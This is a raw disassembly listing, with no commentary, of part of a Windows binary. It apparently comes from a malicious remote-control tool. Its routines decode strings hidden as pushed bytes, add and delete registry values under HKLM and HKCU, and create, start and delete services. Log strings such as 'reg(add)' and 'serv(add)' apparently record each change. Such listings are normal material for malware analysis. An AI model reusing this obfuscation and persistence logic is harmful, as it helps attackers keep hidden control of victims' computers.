		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28F035Eh
		nop
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2930000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F035Eh
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 28F035Eh
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F035Eh
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2930000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 28F035Eh
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447864
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2900382h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 27A08E3h
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		call	near ptr 2900668h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 2900944h
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2890574h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 2900668h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	near ptr 28F08B3h
		nop
		push	esi
		nop
		call	near ptr 28F0C1Dh
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		call	near ptr 2890574h
		nop
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 2900668h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2890574h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		nop
		call	near ptr 2900668h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0000h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
